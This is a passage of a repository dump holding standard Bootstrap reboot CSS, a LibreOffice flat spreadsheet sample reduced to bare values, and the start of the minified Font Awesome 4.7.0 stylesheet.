249, 250; 94 | --bs-link-color: #0d6efd; 95 | --bs-link-color-rgb: 13, 110, 253; 96 | --bs-link-decoration: underline; 97 | --bs-link-hover-color: #0a58ca; 98 | --bs-link-hover-color-rgb: 10, 88, 202; 99 | --bs-code-color: #d63384; 100 | --bs-highlight-bg: #fff3cd; 101 | --bs-border-width: 1px; 102 | --bs-border-style: solid; 103 | --bs-border-color: #dee2e6; 104 | --bs-border-color-translucent: rgba(0, 0, 0, 0.175); 105 | --bs-border-radius: 0.375rem; 106 | --bs-border-radius-sm: 0.25rem; 107 | --bs-border-radius-lg: 0.5rem; 108 | --bs-border-radius-xl: 1rem; 109 | --bs-border-radius-xxl: 2rem; 110 | --bs-border-radius-2xl: var(--bs-border-radius-xxl); 111 | --bs-border-radius-pill: 50rem; 112 | --bs-box-shadow: 0 0.5rem 1rem rgba(0, 0, 0, 0.15); 113 | --bs-box-shadow-sm: 0 0.125rem 0.25rem rgba(0, 0, 0, 0.075); 114 | --bs-box-shadow-lg: 0 1rem 3rem rgba(0, 0, 0, 0.175); 115 | --bs-box-shadow-inset: inset 0 1px 2px rgba(0, 0, 0, 0.075); 116 | --bs-focus-ring-width: 0.25rem; 117 | --bs-focus-ring-opacity: 0.25; 118 | --bs-focus-ring-color: rgba(13, 110, 253, 0.25); 119 | --bs-form-valid-color: #198754; 120 | --bs-form-valid-border-color: #198754; 121 | --bs-form-invalid-color: #dc3545; 122 | --bs-form-invalid-border-color: #dc3545; 123 | } 124 | 125 | [data-bs-theme=dark] { 126 | color-scheme: dark; 127 | --bs-body-color: #adb5bd; 128 | --bs-body-color-rgb: 173, 181, 189; 129 | --bs-body-bg: #212529; 130 | --bs-body-bg-rgb: 33, 37, 41; 131 | --bs-emphasis-color: #fff; 132 | --bs-emphasis-color-rgb: 255, 255, 255; 133 | --bs-secondary-color: rgba(173, 181, 189, 0.75); 134 | --bs-secondary-color-rgb: 173, 181, 189; 135 | --bs-secondary-bg: #343a40; 136 | --bs-secondary-bg-rgb: 52, 58, 64; 137 | --bs-tertiary-color: rgba(173, 181, 189, 0.5); 138 | --bs-tertiary-color-rgb: 173, 181, 189; 139 | --bs-tertiary-bg: #2b3035; 140 | --bs-tertiary-bg-rgb: 43, 48, 53; 141 | --bs-primary-text-emphasis: #6ea8fe; 142 | --bs-secondary-text-emphasis: #a7acb1; 143 | --bs-success-text-emphasis: #75b798; 144 | --bs-info-text-emphasis: #6edff6; 145 | --bs-warning-text-emphasis: #ffda6a; 146 | --bs-danger-text-emphasis: #ea868f; 147 | --bs-light-text-emphasis: #f8f9fa; 148 | --bs-dark-text-emphasis: #dee2e6; 149 | --bs-primary-bg-subtle: #031633; 150 | --bs-secondary-bg-subtle: #161719; 151 | --bs-success-bg-subtle: #051b11; 152 | --bs-info-bg-subtle: #032830; 153 | --bs-warning-bg-subtle: #332701; 154 | --bs-danger-bg-subtle: #2c0b0e; 155 | --bs-light-bg-subtle: #343a40; 156 | --bs-dark-bg-subtle: #1a1d20; 157 | --bs-primary-border-subtle: #084298; 158 | --bs-secondary-border-subtle: #41464b; 159 | --bs-success-border-subtle: #0f5132; 160 | --bs-info-border-subtle: #087990; 161 | --bs-warning-border-subtle: #997404; 162 | --bs-danger-border-subtle: #842029; 163 | --bs-light-border-subtle: #495057; 164 | --bs-dark-border-subtle: #343a40; 165 | --bs-link-color: #6ea8fe; 166 | --bs-link-hover-color: #8bb9fe; 167 | --bs-link-color-rgb: 110, 168, 254; 168 | --bs-link-hover-color-rgb: 139, 185, 254; 169 | --bs-code-color: #e685b5; 170 | --bs-border-color: #495057; 171 | --bs-border-color-translucent: rgba(255, 255, 255, 0.15); 172 | --bs-form-valid-color: #75b798; 173 | --bs-form-valid-border-color: #75b798; 174 | --bs-form-invalid-color: #ea868f; 175 | --bs-form-invalid-border-color: #ea868f; 176 | } 177 | 178 | *, 179 | *::before, 180 | *::after { 181 | box-sizing: border-box; 182 | } 183 | 184 | @media (prefers-reduced-motion: no-preference) { 185 | :root { 186 | scroll-behavior: smooth; 187 | } 188 | } 189 | 190 | body { 191 | margin: 0; 192 | font-family: var(--bs-body-font-family); 193 | font-size: var(--bs-body-font-size); 194 | font-weight: var(--bs-body-font-weight); 195 | line-height: var(--bs-body-line-height); 196 | color: var(--bs-body-color); 197 | text-align: var(--bs-body-text-align); 198 | background-color: var(--bs-body-bg); 199 | -webkit-text-size-adjust: 100%; 200 | -webkit-tap-highlight-color: rgba(0, 0, 0, 0); 201 | } 202 | 203 | hr { 204 | margin: 1rem 0; 205 | color: inherit; 206 | border: 0; 207 | border-top: var(--bs-border-width) solid; 208 | opacity: 0.25; 209 | } 210 | 211 | h6, h5, h4, h3, h2, h1 { 212 | margin-top: 0; 213 | margin-bottom: 0.5rem; 214 | font-weight: 500; 215 | line-height: 1.2; 216 | color: var(--bs-heading-color, inherit); 217 | } 218 | 219 | h1 { 220 | font-size: calc(1.375rem + 1.5vw); 221 | } 222 | @media (min-width: 1200px) { 223 | h1 { 224 | font-size: 2.5rem; 225 | } 226 | } 227 | 228 | h2 { 229 | font-size: calc(1.325rem + 0.9vw); 230 | } 231 | @media (min-width: 1200px) { 232 | h2 { 233 | font-size: 2rem; 234 | } 235 | } 236 | 237 | h3 { 238 | font-size: calc(1.3rem + 0.6vw); 239 | } 240 | @media (min-width: 1200px) { 241 | h3 { 242 | font-size: 1.75rem; 243 | } 244 | } 245 | 246 | h4 { 247 | font-size: calc(1.275rem + 0.3vw); 248 | } 249 | @media (min-width: 1200px) { 250 | h4 { 251 | font-size: 1.5rem; 252 | } 253 | } 254 | 255 | h5 { 256 | font-size: 1.25rem; 257 | } 258 | 259 | h6 { 260 | font-size: 1rem; 261 | } 262 | 263 | p { 264 | margin-top: 0; 265 | margin-bottom: 1rem; 266 | } 267 | 268 | abbr[title] { 269 | -webkit-text-decoration: underline dotted; 270 | text-decoration: underline dotted; 271 | cursor: help; 272 | -webkit-text-decoration-skip-ink: none; 273 | text-decoration-skip-ink: none; 274 | } 275 | 276 | address { 277 | margin-bottom: 1rem; 278 | font-style: normal; 279 | line-height: inherit; 280 | } 281 | 282 | ol, 283 | ul { 284 | padding-left: 2rem; 285 | } 286 | 287 | ol, 288 | ul, 289 | dl { 290 | margin-top: 0; 291 | margin-bottom: 1rem; 292 | } 293 | 294 | ol ol, 295 | ul ul, 296 | ol ul, 297 | ul ol { 298 | margin-bottom: 0; 299 | } 300 | 301 | dt { 302 | font-weight: 700; 303 | } 304 | 305 | dd { 306 | margin-bottom: 0.5rem; 307 | margin-left: 0; 308 | } 309 | 310 | blockquote { 311 | margin: 0 0 1rem; 312 | } 313 | 314 | b, 315 | strong { 316 | font-weight: bolder; 317 | } 318 | 319 | small { 320 | font-size: 0.875em; 321 | } 322 | 323 | mark { 324 | padding: 0.1875em; 325 | background-color: var(--bs-highlight-bg); 326 | } 327 | 328 | sub, 329 | sup { 330 | position: relative; 331 | font-size: 0.75em; 332 | line-height: 0; 333 | vertical-align: baseline; 334 | } 335 | 336 | sub { 337 | bottom: -0.25em; 338 | } 339 | 340 | sup { 341 | top: -0.5em; 342 | } 343 | 344 | a { 345 | color: rgba(var(--bs-link-color-rgb), var(--bs-link-opacity, 1)); 346 | text-decoration: underline; 347 | } 348 | a:hover { 349 | --bs-link-color-rgb: var(--bs-link-hover-color-rgb); 350 | } 351 | 352 | a:not([href]):not([class]), a:not([href]):not([class]):hover { 353 | color: inherit; 354 | text-decoration: none; 355 | } 356 | 357 | pre, 358 | code, 359 | kbd, 360 | samp { 361 | font-family: var(--bs-font-monospace); 362 | font-size: 1em; 363 | } 364 | 365 | pre { 366 | display: block; 367 | margin-top: 0; 368 | margin-bottom: 1rem; 369 | overflow: auto; 370 | font-size: 0.875em; 371 | } 372 | pre code { 373 | font-size: inherit; 374 | color: inherit; 375 | word-break: normal; 376 | } 377 | 378 | code { 379 | font-size: 0.875em; 380 | color: var(--bs-code-color); 381 | word-wrap: break-word; 382 | } 383 | a > code { 384 | color: inherit; 385 | } 386 | 387 | kbd { 388 | padding: 0.1875rem 0.375rem; 389 | font-size: 0.875em; 390 | color: var(--bs-body-bg); 391 | background-color: var(--bs-body-color); 392 | border-radius: 0.25rem; 393 | } 394 | kbd kbd { 395 | padding: 0; 396 | font-size: 1em; 397 | } 398 | 399 | figure { 400 | margin: 0 0 1rem; 401 | } 402 | 403 | img, 404 | svg { 405 | vertical-align: middle; 406 | } 407 | 408 | table { 409 | caption-side: bottom; 410 | border-collapse: collapse; 411 | } 412 | 413 | caption { 414 | padding-top: 0.5rem; 415 | padding-bottom: 0.5rem; 416 | color: var(--bs-secondary-color); 417 | text-align: left; 418 | } 419 | 420 | th { 421 | text-align: inherit; 422 | text-align: -webkit-match-parent; 423 | } 424 | 425 | thead, 426 | tbody, 427 | tfoot, 428 | tr, 429 | td, 430 | th { 431 | border-color: inherit; 432 | border-style: solid; 433 | border-width: 0; 434 | } 435 | 436 | label { 437 | display: inline-block; 438 | } 439 | 440 | button { 441 | border-radius: 0; 442 | } 443 | 444 | button:focus:not(:focus-visible) { 445 | outline: 0; 446 | } 447 | 448 | input, 449 | button, 450 | select, 451 | optgroup, 452 | textarea { 453 | margin: 0; 454 | font-family: inherit; 455 | font-size: inherit; 456 | line-height: inherit; 457 | } 458 | 459 | button, 460 | select { 461 | text-transform: none; 462 | } 463 | 464 | [role=button] { 465 | cursor: pointer; 466 | } 467 | 468 | select { 469 | word-wrap: normal; 470 | } 471 | select:disabled { 472 | opacity: 1; 473 | } 474 | 475 | [list]:not([type=date]):not([type=datetime-local]):not([type=month]):not([type=week]):not([type=time])::-webkit-calendar-picker-indicator { 476 | display: none !important; 477 | } 478 | 479 | button, 480 | [type=button], 481 | [type=reset], 482 | [type=submit] { 483 | -webkit-appearance: button; 484 | } 485 | button:not(:disabled), 486 | [type=button]:not(:disabled), 487 | [type=reset]:not(:disabled), 488 | [type=submit]:not(:disabled) { 489 | cursor: pointer; 490 | } 491 | 492 | ::-moz-focus-inner { 493 | padding: 0; 494 | border-style: none; 495 | } 496 | 497 | textarea { 498 | resize: vertical; 499 | } 500 | 501 | fieldset { 502 | min-width: 0; 503 | padding: 0; 504 | margin: 0; 505 | border: 0; 506 | } 507 | 508 | legend { 509 | float: left; 510 | width: 100%; 511 | padding: 0; 512 | margin-bottom: 0.5rem; 513 | font-size: calc(1.275rem + 0.3vw); 514 | line-height: inherit; 515 | } 516 | @media (min-width: 1200px) { 517 | legend { 518 | font-size: 1.5rem; 519 | } 520 | } 521 | legend + * { 522 | clear: left; 523 | } 524 | 525 | ::-webkit-datetime-edit-fields-wrapper, 526 | ::-webkit-datetime-edit-text, 527 | ::-webkit-datetime-edit-minute, 528 | ::-webkit-datetime-edit-hour-field, 529 | ::-webkit-datetime-edit-day-field, 530 | ::-webkit-datetime-edit-month-field, 531 | ::-webkit-datetime-edit-year-field { 532 | padding: 0; 533 | } 534 | 535 | ::-webkit-inner-spin-button { 536 | height: auto; 537 | } 538 | 539 | [type=search] { 540 | outline-offset: -2px; 541 | -webkit-appearance: textfield; 542 | } 543 | 544 | /* rtl:raw: 545 | [type="tel"], 546 | [type="url"], 547 | [type="email"], 548 | [type="number"] { 549 | direction: ltr; 550 | } 551 | */ 552 | ::-webkit-search-decoration { 553 | -webkit-appearance: none; 554 | } 555 | 556 | ::-webkit-color-swatch-wrapper { 557 | padding: 0; 558 | } 559 | 560 | ::-webkit-file-upload-button { 561 | font: inherit; 562 | -webkit-appearance: button; 563 | } 564 | 565 | ::file-selector-button { 566 | font: inherit; 567 | -webkit-appearance: button; 568 | } 569 | 570 | output { 571 | display: inline-block; 572 | } 573 | 574 | iframe { 575 | border: 0; 576 | } 577 | 578 | summary { 579 | display: list-item; 580 | cursor: pointer; 581 | } 582 | 583 | progress { 584 | vertical-align: baseline; 585 | } 586 | 587 | [hidden] { 588 | display: none !important; 589 | } 590 | 591 | /*# sourceMappingURL=bootstrap-reboot.css.map */ -------------------------------------------------------------------------------- /samples/sample.fods: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 2016-07-31T11:34:50.5689140622016-07-31T11:36:05.209438839P0D1LibreOffice/4.2.7.2$Linux_X86_64 LibreOffice_project/420m0$Build-2 5 | 6 | 7 | 0 8 | 0 9 | 2257 10 | 451 11 | 12 | 13 | view1 14 | 15 | 16 | 0 17 | 0 18 | 0 19 | 0 20 | 0 21 | 0 22 | 2 23 | 0 24 | 0 25 | 0 26 | 0 27 | 0 28 | 100 29 | 60 30 | true 31 | 32 | 33 | Sheet1 34 | 270 35 | 0 36 | 100 37 | 60 38 | false 39 | true 40 | true 41 | true 42 | 12632256 43 | true 44 | true 45 | true 46 | true 47 | false 48 | false 49 | 1270 50 | 1270 51 | 1 52 | 1 53 | true 54 | 55 | 56 | 57 | 58 | false 59 | false 60 | false 61 | false 62 | true 63 | 0 64 | 65 | 66 | true 67 | true 68 | false 69 | false 70 | false 71 | 1 72 | true 73 | true 74 | 1270 75 | true 76 | 3 77 | true 78 | true 79 | true 80 | 12632256 81 | true 82 | 1 83 | 1270 84 | true 85 | true 86 | 87 | 88 | 89 | 90 | 91 | 92 | 93 | 94 | 95 | 96 | 97 | 98 | 99 | 100 | 101 | 102 | 103 | 104 | 105 | 106 | 107 | 108 | 109 | 110 | 111 | 112 | 113 | 114 | 115 | 116 | 117 | 118 | 119 | 120 | 121 | 122 | 123 | 124 | 125 | 126 | 127 | 128 | 129 | 130 | 131 | 132 | 133 | 134 | 135 | 136 | 137 | 138 | 139 | 140 | 141 | 142 | 143 | 144 | 145 | 146 | 147 | 148 | 149 | 150 | 151 | 152 | 153 | 154 | 155 | 156 | 157 | 158 | 159 | 160 | 161 | ??? 162 | 163 | 164 | 165 | Page 1 166 | 167 | 168 | 169 | 170 | 171 | 172 | ??? (???) 173 | 174 | 175 | 00/00/0000, 00:00:00 176 | 177 | 178 | 179 | 180 | Page 1 / 99 181 | 182 | 183 | 184 | 185 | 186 | 187 | 188 | 189 | 190 | 191 | § 192 | 193 | 194 | 195 | 196 | 197 | 198 | -------------------------------------------------------------------------------- /public/bootstrap/css/font-awesome.min.css: -------------------------------------------------------------------------------- 1 | /*! 2 | * Font Awesome 4.7.0 by @davegandy - http://fontawesome.io - @fontawesome 3 | * License - http://fontawesome.io/license (Font: SIL OFL 1.1, CSS: MIT License) 4 | */@font-face{font-family:'FontAwesome';src:url('../fonts/fontawesome-webfont.eot?v=4.7.0');src:url('../fonts/fontawesome-webfont.eot?#iefix&v=4.7.0') format('embedded-opentype'),url('../fonts/fontawesome-webfont.woff2?v=4.7.0') format('woff2'),url('../fonts/fontawesome-webfont.woff?v=4.7.0') format('woff'),url('../fonts/fontawesome-webfont.ttf?v=4.7.0') format('truetype'),url('../fonts/fontawesome-webfont.svg?v=4.7.0#fontawesomeregular') format('svg');font-weight:normal;font-style:normal}.fa{display:inline-block;font:normal normal normal 14px/1 FontAwesome;font-size:inherit;text-rendering:auto;-webkit-font-smoothing:antialiased;-moz-osx-font-smoothing:grayscale}.fa-lg{font-size:1.33333333em;line-height:.75em;vertical-align:-15%}.fa-2x{font-size:2em}.fa-3x{font-size:3em}.fa-4x{font-size:4em}.fa-5x{font-size:5em}.fa-fw{width:1.28571429em;text-align:center}.fa-ul{padding-left:0;margin-left:2.14285714em;list-style-type:none}.fa-ul>li{position:relative}.fa-li{position:absolute;left:-2.14285714em;width:2.14285714em;top:.14285714em;text-align:center}.fa-li.fa-lg{left:-1.85714286em}.fa-border{padding:.2em .25em .15em;border:solid .08em #eee;border-radius:.1em}.fa-pull-left{float:left}.fa-pull-right{float:right}.fa.fa-pull-left{margin-right:.3em}.fa.fa-pull-right{margin-left:.3em}.pull-right{float:right}.pull-left{float:left}.fa.pull-left{margin-right:.3em}.fa.pull-right{margin-left:.3em}.fa-spin{-webkit-animation:fa-spin 2s infinite linear;animation:fa-spin 2s infinite linear}.fa-pulse{-webkit-animation:fa-spin 1s infinite steps(8);animation:fa-spin 1s infinite steps(8)}@-webkit-keyframes fa-spin{0%{-webkit-transform:rotate(0deg);transform:rotate(0deg)}100%{-webkit-transform:rotate(359deg);transform:rotate(359deg)}}@keyframes fa-spin{0%{-webkit-transform:rotate(0deg);transform:rotate(0deg)}100%{-webkit-transform:rotate(359deg);transform:rotate(359deg)}}.fa-rotate-90{-ms-filter:"progid:DXImageTransform.Microsoft.BasicImage(rotation=1)";-webkit-transform:rotate(90deg);-ms-transform:rotate(90deg);transform:rotate(90deg)}.fa-rotate-180{-ms-filter:"progid:DXImageTransform.Microsoft.BasicImage(rotation=2)";-webkit-transform:rotate(180deg);-ms-transform:rotate(180deg);transform:rotate(180deg)}.fa-rotate-270{-ms-filter:"progid:DXImageTransform.Microsoft.BasicImage(rotation=3)";-webkit-transform:rotate(270deg);-ms-transform:rotate(270deg);transform:rotate(270deg)}.fa-flip-horizontal{-ms-filter:"progid:DXImageTransform.Microsoft.BasicImage(rotation=0, mirror=1)";-webkit-transform:scale(-1, 1);-ms-transform:scale(-1, 1);transform:scale(-1, 1)}.fa-flip-vertical{-ms-filter:"progid:DXImageTransform.Microsoft.BasicImage(rotation=2, mirror=1)";-webkit-transform:scale(1, -1);-ms-transform:scale(1, -1);transform:scale(1, -1)}:root .fa-rotate-90,:root .fa-rotate-180,:root .fa-rotate-270,:root .fa-flip-horizontal,:root .fa-flip-vertical{filter:none}.fa-stack{position:relative;display:inline-block;width:2em;height:2em;line-height:2em;vertical-align:middle}.fa-stack-1x,.fa-stack-2x{position:absolute;left:0;width:100%;text-align:center}.fa-stack-1x{line-height:inherit}.fa-stack-2x{font-size:2em}.fa-inverse{color:#fff}.fa-glass:before{content:"\f000"}.fa-music:before{content:"\f001"}.fa-search:before{content:"\f002"}.fa-envelope-o:before{content:"\f003"}.fa-heart:before{content:"\f004"}.fa-star:before{content:"\f005"}.fa-star-o:before{content:"\f006"}.fa-user:before{content:"\f007"}.fa-film:before{content:"\f008"}.fa-th-large:before{content:"\f009"}.fa-th:before{content:"\f00a"}.fa-th-list:before{content:"\f00b"}.fa-check:before{content:"\f00c"}.fa-remove:before,.fa-close:before,.fa-times:before{content:"\f00d"}.fa-search-plus:before{content:"\f00e"}.fa-search-minus:before{content:"\f010"}.fa-power-off:before{content:"\f011"}.fa-signal:before{content:"\f012"}.fa-gear:before,.fa-cog:before{content:"\f013"}.fa-trash-o:before{content:"\f014"}.fa-home:before{content:"\f015"}.fa-file-o:before{content:"\f016"}.fa-clock-o:before{content:"\f017"}.fa-road:before{content:"\f018"}.fa-download:before{content:"\f019"}.fa-arrow-circle-o-down:before{content:"\f01a"}.fa-arrow-circle-o-up:before{content:"\f01b"}.fa-inbox:before{content:"\f01c"}.fa-play-circle-o:before{content:"\f01d"}.fa-rotate-right:before,.fa-repeat:before{content:"\f01e"}.fa-refresh:before{content:"\f021"}.fa-list-alt:before{content:"\f022"}.fa-lock:before{content:"\f023"}.fa-flag:before{content:"\f024"}.fa-headphones:before{content:"\f025"}.fa-volume-off:before{content:"\f026"}.fa-volume-down:before{content:"\f027"}.fa-volume-up:before{content:"\f028"}.fa-qrcode:before{content:"\f029"}.fa-barcode:before{content:"\f02a"}.fa-tag:before{content:"\f02b"}.fa-tags:before{content:"\f02c"}.fa-book:before{content:"\f02d"}.fa-bookmark:before{content:"\f02e"}.fa-print:before{content:"\f02f"}.fa-camera:before{content:"\f030"}.fa-font:before{content:"\f031"}.fa-bold:before{content:"\f032"}.fa-italic:before{content:"\f033"}.fa-text-height:before{content:"\f034"}.fa-text-width:before{content:"\f035"}.fa-align-left:before{content:"\f036"}.fa-align-center:before{content:"\f037"}.fa-align-right:before{content:"\f038"}.fa-align-justify:before{content:"\f039"}.fa-list:before{content:"\f03a"}.fa-dedent:before,.fa-outdent:before{content:"\f03b"}.fa-indent:before{content:"\f03c"}.fa-video-camera:before{content:"\f03d"}.fa-photo:before,.fa-image:before,.fa-picture-o:before{content:"\f03e"}.fa-pencil:before{content:"\f040"}.fa-map-marker:before{content:"\f041"}.fa-adjust:before{content:"\f042"}.fa-tint:before{content:"\f043"}.fa-edit:before,.fa-pencil-square-o:before{content:"\f044"}.fa-share-square-o:before{content:"\f045"}.fa-check-square-o:before{content:"\f046"}.fa-arrows:before{content:"\f047"}.fa-step-backward:before{content:"\f048"}.fa-fast-backward:before{content:"\f049"}.fa-backward:before{content:"\f04a"}.fa-play:before{content:"\f04b"}.fa-pause:before{content:"\f04c"}.fa-stop:before{content:"\f04d"}.fa-forward:before{content:"\f04e"}.fa-fast-forward:before{content:"\f050"}.fa-step-forward:before{content:"\f051"}.fa-eject:before{content:"\f052"}.fa-chevron-left:before{content:"\f053"}.fa-chevron-right:before{content:"\f054"}.fa-plus-circle:before{content:"\f055"}.fa-minus-circle:before{content:"\f056"}.fa-times-circle:before{content:"\f057"}.fa-check-circle:before{content:"\f058"}.fa-question-circle:before{content:"\f059"}.fa-info-circle:before{content:"\f05a"}.fa-crosshairs:before{content:"\f05b"}.fa-times-circle-o:before{content:"\f05c"}.fa-check-circle-o:before{content:"\f05d"}.fa-ban:before{content:"\f05e"}.fa-arrow-left:before{content:"\f060"}.fa-arrow-right:before{content:"\f061"}.fa-arrow-up:before{content:"\f062"}.fa-arrow-down:before{content:"\f063"}.fa-mail-forward:before,.fa-share:before{content:"\f064"}.fa-expand:before{content:"\f065"}.fa-compress:before{content:"\f066"}.fa-plus:before{content:"\f067"}.fa-minus:before{content:"\f068"}.fa-asterisk:before{content:"\f069"}.fa-exclamation-circle:before{content:"\f06a"}.fa-gift:before{content:"\f06b"}.fa-leaf:before{content:"\f06c"}.fa-fire:before{content:"\f06d"}.fa-eye:before{content:"\f06e"}.fa-eye-slash:before{content:"\f070"}.fa-warning:before,.fa-exclamation-triangle:before{content:"\f071"}.fa-plane:before{content:"\f072"}.fa-calendar:before{content:"\f073"}.fa-random:before{content:"\f074"}.fa-comment:before{content:"\f075"}.fa-magnet:before{content:"\f076"}.fa-chevron-up:before{content:"\f077"}.fa-chevron-down:before{content:"\f078"}.fa-retweet:before{content:"\f079"}.fa-shopping-cart:before{content:"\f07a"}.fa-folder:before{content:"\f07b"}.fa-folder-open:before{content:"\f07c"}.fa-arrows-v:before{content:"\f07d"}.fa-arrows-h:before{content:"\f07e"}.fa-bar-chart-o:before,.fa-bar-chart:before{content:"\f080"}.fa-twitter-square:before{content:"\f081"}.fa-facebook-square:before{content:"\f082"}.fa-camera-retro:before{content:"\f083"}.fa-key:before{content:"\f084"}.fa-gears:before,.fa-cogs:before{content:"\f085"}.fa-comments:before{content:"\f086"}.fa-thumbs-o-up:before{content:"\f087"}.fa-thumbs-o-down:before{content:"\f088"}.fa-star-half:before{content:"\f089"}.fa-heart-o:before{content:"\f08a"}.fa-sign-out:before{content:"\f08b"}.fa-linkedin-square:before{content:"\f08c"}.fa-thumb-tack:before{content:"\f08d"}.fa-external-link:before{content:"\f08e"}.fa-sign-in:before{content:"\f090"}.fa-trophy:before{content:"\f091"}.fa-github-square:before{content:"\f092"}.fa-upload:before{content:"\f093"}.fa-lemon-o:before{content:"\f094"}.fa-phone:before{content:"\f095"}.fa-square-o:before{content:"\f096"}.fa-bookmark-o:before{content:"\f097"}.fa-phone-square:before{content:"\f098"}.fa-twitter:before{content:"\f099"}.fa-facebook-f:before,.fa-facebook:before{content:"\f09a"}.fa-github:before{content:"\f09b"}.fa-unlock:before{content:"\f09c"}.fa-credit-card:before{content:"\f09d"}.fa-feed:before,.fa-rss:before{content:"\f09e"}.fa-hdd-o:before{content:"\f0a0"}.fa-bullhorn:before{content:"\f0a1"}.fa-bell:before{content:"\f0f3"}.fa-certificate:before{content:"\f0a3"}.fa-hand-o-right:before{content:"\f0a4"}.fa-hand-o-left:before{content:"\f0a5"}.fa-hand-o-up:before{content:"\f0a6"}.fa-hand-o-down:before{content:"\f0a7"}.fa-arrow-circle-left:before{content:"\f0a8"}.fa-arrow-circle-right:before{content:"\f0a9"}.fa-arrow-circle-up:before{content:"\f0aa"}.fa-arrow-circle-down:before{content:"\f0ab"}.fa-globe:before{content:"\f0ac"}.fa-wrench:before{content:"\f0ad"}.fa-tasks:before{content:"\f0ae"}.fa-filter:before{content:"\f0b0"}.fa-briefcase:before{content:"\f0b1"}.fa-arrows-alt:before{content:"\f0b2"}.fa-group:before,.fa-users:before{content:"\f0c0"}.fa-chain:before,.fa-link:before{content:"\f0c1"}.fa-cloud:before{content:"\f0c2"}.fa-flask:before{content:"\f0c3"}.fa-cut:before,.fa-scissors:before{content:"\f0c4"}.fa-copy:before,.fa-files-o:before{content:"\f0c5"}.fa-paperclip:before{content:"\f0c6"}.fa-save:before,.fa-floppy-o:before{content:"\f0c7"}.fa-square:before{content:"\f0c8"}.fa-navicon:before,.fa-reorder:before,.fa-bars:before{content:"\f0c9"}.fa-list-ul:before{content:"\f0ca"}.fa-list-ol:before{content:"\f0cb"}.fa-strikethrough:before{content:"\f0cc"}.fa-underline:before{content:"\f0cd"}.fa-table:before{content:"\f0ce"}.fa-magic:before{content:"\f0d0"}.fa-truck:before{content:"\f0d1"}.fa-pinterest:before{content:"\f0d2"}.fa-pinterest-square:before{content:"\f0d3"}.fa-google-plus-square:before{content:"\f0d4"}.fa-google-plus:before{content:"\f0d5"}.fa-money:before{content:"\f0d6"}.fa-caret-down:before{content:"\f0d7"}.fa-caret-up:before{content:"\f0d8"}.fa-caret-left:before{content:"\f0d9"}.fa-caret-right:before{content:"\f0da"}.fa-columns:before{content:"\f0db"}.fa-unsorted:before,.fa-sort:before{content:"\f0dc"}.fa-sort-down:before,.fa-sort-desc:before{content:"\f0dd"}.fa-sort-up:before,.fa-sort-asc:before{content:"\f0de"}.fa-envelope:before{content:"\f0e0"}.fa-linkedin:before{content:"\f0e1"}.fa-rotate-left:before,.fa-undo:before{content:"\f0e2"}.fa-legal:before,.fa-gavel:before{content:"\f0e3"}.fa-dashboard:before,.fa-tachometer:before{content:"\f0e4"}.fa-comment-o:before{content:"\f0e5"}.fa-comments-o:before{content:"\f0e6"}.fa-flash:before,.fa-bolt:before{content:"\f0e7"}.fa-sitemap:before{content:"\f0e8"}.fa-umbrella:before{content:"\f0e9"}.fa-paste:before,.fa-clipboard:before{content:"\f0ea"}.fa-lightbulb-o:before{content:"\f0eb"}.fa-exchange:before{content:"\f0ec"}.fa-cloud-download:before{content:"\f0ed"}.fa-cloud-upload:before{content:"\f0ee"}.fa-user-md:before{content:"\f0f0"}.fa-stethoscope:before{content:"\f0f1"}.fa-suitcase:before{content:"\f0f2"}.fa-bell-o:before{content:"\f0a2"}.fa-coffee:before{content:"\f0f4"}.fa-cutlery:before{content:"\f0f5"}.fa-file-text-o:before{content:"\f0f6"}.fa-building-o:before{content:"\f0f7"}.fa-hospital-o:before{content:"\f0f8"}.fa-ambulance:before{content:"\f0f9"}.fa-medkit:before{content:"\f0fa"}.fa-fighter-jet:before{content:"\f0fb"}.fa-beer:before{content:"\f0fc"}.fa-h-square:before{content:"\f0fd"}.fa-plus-square:before{content:"\f0fe"}.fa-angle-double-left:before{content:"\f100"}.fa-angle-double-right:before{content:"\f101"}.fa-angle-double-up:before{content:"\f102"}.fa-angle-double-down:before{content:"\f103"}.fa-angle-left:before{content:"\f104"}.fa-angle-right:before{content:"\f105"}.fa-angle-up:before{content:"\f106"}.fa-angle-down:before{content:"\f107"}.fa-desktop:before{content:"\f108"}.fa-laptop:before{content:"\f109"}.fa-tablet:before{content:"\f10a"}.fa-mobile-phone:before,.fa-mobile:before{content:"\f10b"}.fa-circle-o:before{content:"\f10c"}.fa-quote-left:before{content:"\f10d"}.fa-quote-right:before{content:"\f10e"}.fa-spinner:before{content:"\f110"}.fa-circle:before{content:"\f111"}.fa-mail-reply:before,.fa-reply:before{content:"\f112"}.fa-github-alt:before{content:"\f113"}.fa-folder-o:before{content:"\f114"}.fa-folder-open-o:before{content:"\f115"}.fa-smile-o:before{content:"\f118"}.fa-frown-o:before{content:"\f119"}.fa-meh-o:before{content:"\f11a"}.fa-gamepad:before{content:"\f11b"}.fa-keyboard-o:before{content:"\f11c"}.fa-flag-o:before{content:"\f11d"}.fa-flag-checkered:before{content:"\f11e"}.fa-terminal:before{content:"\f120"}.fa-code:before{content:"\f121"}.fa-mail-reply-all:before,.fa-reply-all:before{content:"\f122"}.fa-star-half-empty:before,.fa-star-half-full:before,.fa-star-half-o:before{content:"\f123"}.fa-location-arrow:before{content:"\f124"}.fa-crop:before{content:"\f125"}.fa-code-fork:before{content:"\f126"}.fa-unlink:before,.fa-chain-broken:before{content:"\f127"}.fa-question:before{content:"\f128"}.fa-info:before{content:"\f129"}.fa-exclamation:before{content:"\f12a"}.fa-superscript:before{content:"\f12b"}.fa-subscript:before{content:"\f12c"}.fa-eraser:before{content:"\f12d"}.fa-puzzle-piece:before{content:"\f12e"}.fa-microphone:before{content:"\f130"}.fa-microphone-slash:before{content:"\f131"}.fa-shield:before{content:"\f132"}.fa-calendar-o:before{content:"\f133"}.fa-fire-extinguisher:before{content:"\f134"}.fa-rocket:before{content:"\f135"}.fa-maxcdn:before{content:"\f136"}.fa-chevron-circle-left:before{content:"\f137"}.fa-chevron-circle-right:before{content:"\f138"}.fa-chevron-circle-up:before{content:"\f139"}.fa-chevron-circle-down:before{content:"\f13a"}.fa-html5:before{content:"\f13b"}.fa-css3:before{content:"\f13c"}.fa-anchor:before{content:"\f13d"}.fa-unlock-alt:before{content:"\f13e"}.fa-bullseye:before{content:"\f140"}.fa-ellipsis-h:before{content:"\f141"}.fa-ellipsis-v:before{content:"\f142"}.fa-rss-square:before{content:"\f143"}.fa-play-circle:before{content:"\f144"}.fa-ticket:before{content:"\f145"}.fa-minus-square:before{content:"\f146"}.fa-minus-square-o:before{content:"\f147"}.fa-level-up:before{content:"\f